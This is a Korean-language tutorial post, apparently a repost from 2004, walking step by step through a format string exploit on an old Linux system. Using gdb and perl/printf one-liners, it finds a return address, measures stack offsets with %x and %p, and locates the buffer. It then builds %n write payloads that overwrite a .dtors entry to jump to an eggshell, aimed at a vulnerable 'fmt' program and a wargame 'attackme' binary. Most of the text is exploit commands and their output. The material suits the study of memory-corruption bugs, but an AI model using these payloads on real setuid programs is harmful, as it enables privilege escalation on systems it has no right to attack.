Security

포맷스트링 (format string) 버그 정리 ver 0x01

  • jroh
포맷스트링 버그 정리 ver 0x01 -텅날개

글쓴이 : ttongfly@ttongfly.net2004. 2. 20 홈페이지 : http://ttongfly.net 관련문서 : 포맷스트링 공격에 대한 분석 -biksaint@wowhacker.org


1. main 함수의 리턴 어드레스 찾기

[newbieup@WizardServer newbieup]$ gcc -v

 Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs

 gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)

[newbieup@WizardServer /tmp]$ cat a1.c

 main()

 {

 printf(“ttongfly\\n”);

 }

 [newbieup@WizardServer /tmp]$ gcc -o a1 a1.c

[newbieup@WizardServer /tmp]$ gdb -q a1

 (gdb) b main

 Breakpoint 1 at 0x80483cb

 (gdb) r

 Starting program: /tmp/a1

Breakpoint 1, 0x80483cb in main ()

 (gdb) x/2x $ebp

 0xbffffbd8: 0xbffffbf80x4002f1eb

egcs 2.91.66 메인함수의 리턴 어드레스는 0x4002f1eb이다.

2. 스택과의 거리 계산

[root@ttongfly test]# cat fmt.c

 #include stdio.h

main(void) { char buf[100]; fgets(buf, 100, stdin); printf(buf); }

[root@ttongfly test]# gcc -o fmt fmt.c

[root@ttongfly test]# (perl -e \’print “AAAA”; print “%x”x10\’;cat)|./fmt

AAAA6440157c204002baf4414141417825782578257825782578257825782578257825a

[root@ttongfly test]# (perl -e \’print “AAAA”; print “%x”x5\’;cat)|./fmt

AAAA6440157c204002baf44141414178257825

[root@ttongfly test]# (perl -e \’print “AAAA”; print “%x”x4\’;cat)|./fmt

AAAA6440157c204002baf441414141

[root@ttongfly test]# (perl -e \’print “AAAA”; print “%x”x3\’;cat)|./fmt

AAAA 644015 7c2040 02baf4 %x가 3개 이후에 입력한 AAA의 값인 414141이 나타난다는 것을 알 수 있으므로 %x%x%x(%x3개)로 패딩처리해야 한다는 것을 알 수 있다. 3. 버퍼 주소 찾기 버퍼의 주소를 찾기 위하여 다음과 같은 문자열을 사용하면 된다 A는 4의 배수 [AAAAAAAAA….AAAA][버퍼예상주소][%x%x%x패딩][%x%x%x:A의개수 나누기4][%s] 마지막에 %s를 이용하면 버퍼예상주소로부터 내용을 출력하게 된다. 만약 버퍼 예상주소가 실제 버퍼주소랑 일치하게 되면 입력한 문자열이 그대로 출력되게 된다.

[root@ttongfly test]# (perl -e \’print “A”x40;print “\\x50\\xfa\\xff\\xbf”;print”%x”x3;print”%x”x10;print”%s”\’;cat)|./fmt

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP??440157c204002baf441414141414141414141414141414141414141414141414141414141414141414141414141414141@ Y@x?역@

[root@ttongfly test]# (perl -e \’print “A”x40;print “\\x20\\xfa\\xff\\xbf”;print”%x”x3;print”%x”x10;print”%s”\’;cat)|./fmt

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ??440157c204002baf441414141414141414141414141414141414141414141414141414141414141414141414141414141%x%x%x%s

[root@ttongfly test]# (perl -e \’print “A”x40;print “\\xf0\\xf9\\xff\\xbf”;print”%x”x3;print”%x”x10;print”%s”\’;cat)|./fmt

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA琮?440157c204002baf441414141414141414141414141414141414141414141414141414141414141414141414141414141AAAAAAAAAAAAAAAAAAAAAAAA琮?x%x%x%x%x%x%x%x%x%x%x%x%x%s

몇번의 실행끝에 버퍼의 주소는 0xbfffff9f0임을 알 수 있었다.

 gdb로 확인해보니 일치하였다. -ㅁ-

4. 버퍼와 main함수의 리턴 어드레스 사이의 거리찾기

[root@ttongfly test]# (perl -e \’print “%x”x3;print “%p”x32\’;cat)|./fmt

6440157c204002baf40x782578250x702578250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250xa70250x4003a9310x80482fe0x40159f780x401599800xbffffa480x804828d0x4000cc100xbffffaa40xbffffa580x80483c20x401599800x400159200xbffffa780x4003aa07

%p를 32개 입력하였을 경우 main함수의 리턴 어드레스가 나타났다. 여기서 버퍼와 main함수의 리턴어드레스 사이의 거리는 (32-1)*4바이트이다. 여기서 -1을 해야하는 이유는 오프셋 개념이 0부터 시작하기 때문이다. 따라서 버퍼와 main함수의 리턴어드레스 사이는 다음과 같다.

31 * 4 = 124 = 0x7c

따라서 실제 main함수의 리턴어드레스의 스택 상에서의 위치는 다음과 같이 셈할 수 있다.

0xbffff9f0 + 0x7c = 0xbffffa6c

5. 포맷 스트링 공격 포맷스트링 공격의 기본적인 공격문자열은 다음과 같다] [AAAA][ret][AAAA][ret+2][%08x%08x%08x패딩][%12345c][%n][%12345c][%n][eggshell] 4 4 44 (4*3)127272

리턴어드레스 : 0xbffffa6c

[ttongfly@ttongfly test]$ ./egg

 Using address: 0xbffffa28

[ttongfly@ttongfly test]$ objdump -h fmt|grep dtors

 18 .dtors000000080804954408049544000005442**2

공격할 주소 : 0x8049544 + 4 = 0x8049548

 egg 쉘 : Using address: 0xbffffa28

fa28(64040) – 16 – 패딩값 12 = 64012 1bfff – fa28 = 50647 (printf “\\x41\\x41\\x41\\x41\\x48\\x95\\x04\\x08\\x41\\x41\\x41\\x41\\x4a\\x95\\x04\\x08%08x%08x%%64012c%%n%%50647c%%n”;cat)|./fmt

[level20@ftz tmp]$ ./egg

 Using address: 0xbffffab8

덮어씌울 곳: 0x0804950c

fab8(64184) – 16 = 64168 1bfff – fab8 = 50503 (printf “\\x41\\x41\\x41\\x41\\x0c\\x95\\x04\\x08\\x41\\x41\\x41\\x41\\x0e\\x95\\x04\\x08%%64168c%%n%%50503c%%n”;cat)|./attackme


📎

rmdir 시스템 콜 (system call) 을 16진수 코드로 구현하기Security